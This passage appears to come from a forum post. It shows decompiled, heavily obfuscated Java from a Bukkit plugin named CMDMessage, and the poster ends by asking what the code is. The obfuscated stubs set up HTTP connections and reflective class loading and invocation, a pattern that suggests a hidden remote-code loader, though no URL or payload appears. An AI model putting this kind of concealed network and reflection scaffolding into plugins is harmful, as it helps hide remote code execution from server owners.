} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΨΓρΔΦωξφφψθΘοΛμβτβΟΣΜθΩοτγβΙαΛΜΚυΔζξφδκφ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "setConnectTimeout", "(I)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ξΡΨονδσγδΗιΦκηΤωαμδευΜΙσΑλΜιβθδΨχμΝΕω = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ξΡΨονδσγδΗιΦκηΤωαμδευΜΙσΑλΜιβθδΨχμΝΕω;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite οΦΜτθρΑΛΟΡκβΧΟΒκνμαχΝγοΧλμΓΧΠωΝΙμΧΒοΚΡφΩΗξβΔΜΦΧαΛ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "setReadTimeout", "(I)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ωΕΑΡΓασωΧωοΘΒοθΘκδΨΞΞχδΞΒΠψΛζρΡΦξγΓηβΝωγθ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ωΕΑΡΓασωΧωοΘΒοθΘκδΨΞΞχδΞΒΠψΛζρΡΦξγΓηβΝωγθ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite εΚΖΝΣυαωυβΗψτθξΩΡΥνΩιυεφΤρΖυιωΓηΡΙγΧΞΡΦζΦ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "setRequestProperty", "(Ljava/lang/String;Ljava/lang/String;)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΣΗοΑοτΥΧΓΖφμΡβμΑοθμμρΙΣΑΚψκΓλΨΧνυΧΑφ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΣΗοΑοτΥΧΓΖφμΡβμΑοθμμρΙΣΑΚψκΓλΨΧνυΧΑφ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite νΙηοΛεΖΝπΟυμψΓξΜχΘτβθξοΝψοηηΓκΣοΜΒΗ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "setRequestProperty", "(Ljava/lang/String;Ljava/lang/String;)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΟηβΓΛΠΦκΨνεεοΘζΩΡΧΚΩνωβΖΗΑηωβΠρρΛγΣΑΗλΘηΚΨΖ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΟηβΓΛΠΦκΨνεεοΘζΩΡΧΚΩνωβΖΗΑηωβΠρρΛγΣΑΗλΘηΚΨΖ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite χσλμγΩλωζξαοΑζθΡωιηργΔΟΒαλζΔπΧ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "setRequestProperty", "(Ljava/lang/String;Ljava/lang/String;)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΘΦακιωδπΧθΚσμτΟΡιΦευΧηφΧξρΤΨηπΜογλΗυλοφμΑτΞχ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΘΦακιωδπΧθΚσμτΟΡιΦευΧηφΧξρΤΨηπΜογλΗυλοφμΑτΞχ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΛθθκΣπΨιεΥΕΧΚΠΗΙισΡτΡΦΒΗπφΧΓζΧΘ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "setRequestMethod", "(Ljava/lang/String;)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ΗΤψλβφδλΑβψΛΙεΗΔπΜγΨΧΠλψκΩΓΙλΜΕΩδΟΒνβΞΝλΝ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ΗΤψλβφδλΑβψΛΙεΗΔπΜγΨΧΠλψκΩΓΙλΜΕΩδΟΒνβΞΝλΝ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΞηΞΗτσυΩυλιΣμΚΜΩγΦΧΗΛιΥΘΥΤΜΑΜΜ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "setInstanceFollowRedirects", "(Z)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ηφΒΓΓΠΤμδρΛκδΕΧθωΤΒπδΩηΝΔωΤθΦΟΗΞζνΑ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ηφΒΓΓΠΤμδρΛκδΕΧθωΤΒπδΩηΝΔωΤθΦΟΗΞζνΑ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΑσκφΠΚβθΓφθΧψΧεΤλΗχΦΚχτΝεΗπΩξΣΕ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ΜογχΠχδγΛΟζχΑΣΤΑζΤΠγΨθΥζψΠξενχΧπγιξ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ΜογχΠχδγΛΟζχΑΣΤΑζΤΠγΨθΥζψΠξενχΧπγιξ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΩΛζλρσΛητΙθΡνλνζΧΥπΕΛησσετΖιβπΟΕζθΔΩΝπΓΕΠΦοΑΚδΟΠ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ωΒθΦΚΟβΛΚαΗχΞρΟΠεΕΑεΜΠΩωΝΜνΧκεγφΠτσΙχΓλλδτΛΞωθ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ωΒθΦΚΟβΛΚαΗχΞρΟΠεΕΑεΜΠΩωΝΜνΧκεγφΠτσΙχΓλλδτΛΞωθ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΝηΛΚσωυΓμρηΔΜΔΣΥΞΝοικΙφΝζιβΦΩΙμΟ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "getResponseCode", "()I", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΣφΔΟκΩωγφψτΕΛαΠξψχΣψρΛΝννΖΘρΡψξ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΣφΔΟκΩωγφψτΕΛαΠξψχΣψρΛΝννΖΘρΡψξ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΝΛαΖΣρηωΨσλΠΖΧΨΠΗΦΛΗρΤΗΛυφΔΤροογψΟΛΑ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(κηθΜΘωΘΖΘΠΛΠΒΝδωΨΛΨΖωοτκσγλκΑΝωρΩλΦδλΑχΕΑ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return κηθΜΘωΘΖΘΠΛΠΒΝδωΨΛΨΖωοτκσγλκΑΝωρΩλΦδλΑχΕΑ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite γκΟωΡΞτχδΤψΦΦαΔκψΩκλδΚΟΡδΚΣΙΥδΓΕ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(υΚδλιΩυηχδΜμΕγΔΞβΤτσΓΑβεψΟΜνλχισ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return υΚδλιΩυηχδΜμΕγΔΞβΤτσΓΑβεψΟΜνλχισ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ημΗξλΠΟλαΣΨηλφΜΞΤσεσΡΡΤογοΩνσινχυΗφ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ξιβΤυΟγΛσδβδΚεζΟΕρΑσξΡΠλβΛΖΣΥβΒΡεΛΔΤπΝΨζΤΞΩΧ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ξιβΤυΟγΛσδβδΚεζΟΕρΑσξΡΠλβΛΖΣΥβΒΡεΛΔΤπΝΨζΤΞΩΧ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite λοΜΛεΖΕξΧεΕμΒεψτξΒφμυυρχωοΘυγνΤααχΓΜαΞαΖΠΝπΩγγθ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(μΥηΕβσυεΠκΧεΣιθΡαΖΩΝυηειΤυησΚτΒΕηΣζηΘυΗαΥ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return μΥηΕβσυεΠκΧεΣιθΡαΖΩΝυηειΤυησΚτΒΕηΣζηΘυΗαΥ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite υΖφλΛμυΕΝΨωιΦλΣτοπΔΖΜπΖσΟκΥπΗτΠΥκχοΡΚτλ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ησΗξχΧΕταψΜχδΨΣκτΨφΩοδβΚΜηβισκΚΖΞνφνΝΙπζΝΜβΖΟΤν = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ησΗξχΧΕταψΜχδΨΣκτΨφΩοδβΚΜηβισκΚΖΞνφνΝΙπζΝΜβΖΟΤν;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ζΦΚΞπΜνΗΧιαγΚΡψΡπΑβΩμδθπΝβΗοΓχτΥΓυτΓλΦ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΖΛΝχΠμΜΔΞΨΞΛΠΗκΔΕμΠΩρΕΧνηΦΠξοΔκΡ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΖΛΝχΠμΜΔΞΨΞΛΠΗκΔΕμΠΩρΕΧνηΦΠξοΔκΡ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite κΕπΝμδαΕΦΩπΔΠμννρΓΣσξΧλΘχγΔχΚλβΓΘΞΑ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Class", "getDeclaredConstructor", "([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΧΙθμΥΖΗΠπθγΣΙεΦβΑΛτξευτδΠψΖΤΥΚΜΣΞΓθΠφζΨΛΞΠΤμηλΧο = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΧΙθμΥΖΗΠπθγΣΙεΦβΑΛτξευτδΠψΖΤΥΚΜΣΞΓθΠφζΨΛΞΠΤμηλΧο;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite νΓΙβΙΛρξΓιΘθγΒΠθχαδωΤΦυΛρΕΙΤΜΣκψΧαΦψΣμβζΜμαλμΜδΔΡ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.reflect.Constructor", "newInstance", "([Ljava/lang/Object;)Ljava/lang/Object;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ζξνοτμφΩρΣΑφΟζυΟΤΩυΩεαΧγΧωΗμηρΖφζυνσΤ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ζξνοτμφΩρΣΑφΟζυΟΤΩυΩεαΧγΧωΗμηρΖφζυνσΤ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ιΦξΠΘχΤνΒΥζηαωαΡφΞΓλμδΞΖηζτνβζ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.HttpURLConnection", "getInputStream", "()Ljava/io/InputStream;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ΟπΒΚλξΟΨΣηηλΜΦΓψθοψΚοΚασγΕΚΙΦΙΡΚΓτΗΧΗΠΝΘεΥ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ΟπΒΚλξΟΨΣηηλΜΦΓψθοψΚοΚασγΕΚΙΦΙΡΚΓτΗΧΗΠΝΘεΥ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ψοΡρβνρΔοΞιΟΤΦΓΠαΗΨμΝφΟθΦΞωνΔΒΝΒλιΑΤΞΙρΗρΞυ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.reflect.Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(οΟθΖΠρμβΗθνΞλΦζΥχτδΨυθηΕΥοσεφΥΚξΔΤΓΚΙννζΚπ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return οΟθΖΠρμβΗθνΞλΦζΥχτδΨυθηΕΥοσεφΥΚξΔΤΓΚΙννζΚπ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΓσψυΦΓμΞΣχρΓΟαΤσΒξΠαφοΥζΩΔΒΡΙψμΕΒψΘφοαΗγΚχΒ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.reflect.Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ευΘΔΤρσθΜΖΩΛΚΤψπηΒνΧθλβΣνψωδθιμΨΗζπρΠΕχΣΩ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ευΘΔΤρσθΜΖΩΛΚΤψπηΒνΧθλβΣνψωδθιμΨΗζπρΠΕχΣΩ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΘψληζΑΨδΗνΨΗΔΦΩΑΩτνΒοψψσΖσζηΑοΖΩτΦΕΦωγΘποαε(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.reflect.Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΕΝγψΓπφΜΜΥαιΜβΟψΞβΕμσθΗσΩζΛφΟΙηαψθκιΗΨγδΥΒΚβοδσΦ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΕΝγψΓπφΜΜΥαιΜβΟψΞβΕμσθΗσΩζΛφΟΙηαψθκιΗΨγδΥΒΚβοδσΦ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΩδΕπΔλΜΜΖξδεθωφΞΣΓκωΣμλιτΤΩιΡξΣΒ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.reflect.Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΓξμθργχΩγδΨΡΓχιογσνΦρΜΞηαΩΡψΒΚμτβΩΠωΕξΡΝΙΖβΞφσνκω = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΓξμθργχΩγδΨΡΓχιογσνΦρΜΞηαΩΡψΒΚμτβΩΠωΕξΡΝΙΖβΞφσνκω;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΒηΩΕΔνΖΕΩΝψγδεΚΖΛΓΓτΥΟμτΨΘΟωΛζσΧζΟΘΖΚΓωφΡΣδδΦξ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.lang.Boolean", "booleanValue", "()Z", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ιΥυπΔΞΛυωβΧΔΨψδεηλδμΤζιφορΘΨνΕωΗΙρφωΕλα = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ιΥυπΔΞΛυωβΧΔΨψδεηλδμΤζιφορΘΨνΕωΗΙρφωΕλα;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ΥΖΗβΗωβιΡσΦΧνΒλκΗγΒΑΕυσΑΑΘσξΜΘΠΚθΕΥΒσκΒδΒν(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("org.discord.xkirieshka.cmdmessage.CMDMessage", "saveDefaultConfig", "()V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΙΕτΦΣΩκΣΒΟΦΦΛγΕΓΤγΟαΜψεΟΛζΘπγωγπΚαΤΤΠλλχΟΖ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΙΕτΦΣΩκΣΒΟΦΦΛγΕΓΤγΟαΜψεΟΛζΘπγωγπΚαΤΤΠλλχΟΖ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite αττπΥεΠτΠΞΩμΝτΩγΑψτΚαΝδισφΑξΖΠιΜακΦψλδΜβωΣανΓ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("org.discord.xkirieshka.cmdmessage.CMDMessage", "reloadConfig", "()V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΔπΧξνφΠηΜτΕΜαΣψΡΟωωΠτδβΖιΠΛΔιΠΑ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΔπΧξνφΠηΜτΕΜαΣψΡΟωωΠτδβΖιΠΛΔιΠΑ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ηΞΝΩΚΣΦζωΨΞΦλΣΜβΛγψΨψκμφΟηΨΡθΨΤΤΦτΘαΧΚΩγωΧΞΘΙΔτ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("org.discord.xkirieshka.cmdmessage.CMDMessage", "getCommand", "(Ljava/lang/String;)Lorg/bukkit/command/PluginCommand;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ΨζΑγΝκσοεαΒνξτφΧΙΤσΡΘζΧφΚΠΑυΜλΞμκελσβΝΑΝΡΑφΝΟΩΝΖ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ΨζΑγΝκσοεαΒνξτφΧΙΤσΡΘζΧφΚΠΑυΜλΞμκελσβΝΑΝΡΑφΝΟΩΝΖ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite αΗΖΜΓΞξΠζσΠψωχφλδχΕΜΔψΡμχφτφΡδνοΝξΣφνΒΕΟΚξμγΕΤπΥΠ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("org.bukkit.command.PluginCommand", "setExecutor", "(Lorg/bukkit/command/CommandExecutor;)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΞεχΖΛΣΟΦΦδρχΩΑΣΞΙΤΩωοΒΙΖΣΣψΙΨοξΨπδΜΜνΤΥ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΞεχΖΛΣΟΦΦδρχΩΑΣΞΙΤΩωοΒΙΖΣΣψΙΨοξΨπδΜΜνΤΥ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite πμΟξδχΦθωκψδΖΙβπεθΡζλλπΠΚΦξΑΙαΠχΙιηπω(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("org.discord.xkirieshka.cmdmessage.CMDMessage", "getCommand", "(Ljava/lang/String;)Lorg/bukkit/command/PluginCommand;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΥΦΑΠθΟΥΔΡΝΔζξρξτΡοΓκθηθαπΩΛμεωΓα = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΥΦΑΠθΟΥΔΡΝΔζξρξτΡοΓκθηθαπΩΛμεωΓα;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}

static CallSite ρΥβζζΧρνλζΤυξνΤΞγυσΕΔΑΞλδυΒΞζΜΑπλρΥ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("org.bukkit.command.PluginCommand", "setExecutor", "(Lorg/bukkit/command/CommandExecutor;)V", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
(ΓχτΞΣΛΤΩαρΣθΓΑωΘΗΑξΨΛπΤξοΡδσναχΞΔζθυγοΥπσΚδΩυ = new MutableCallSite(methodHandle.type())).setTarget(methodHandle);
return ΓχτΞΣΛΤΩαρΣθΓΑωΘΗΑξΨΛπΤξοΡδσναχΞΔζθυγοΥπσΚδΩυ;
} catch (NoSuchMethodException|IllegalAccessException|ClassNotFoundException noSuchMethodException) {
throw new RuntimeException();
}
}
}

эта чо?
 
ВерхНиз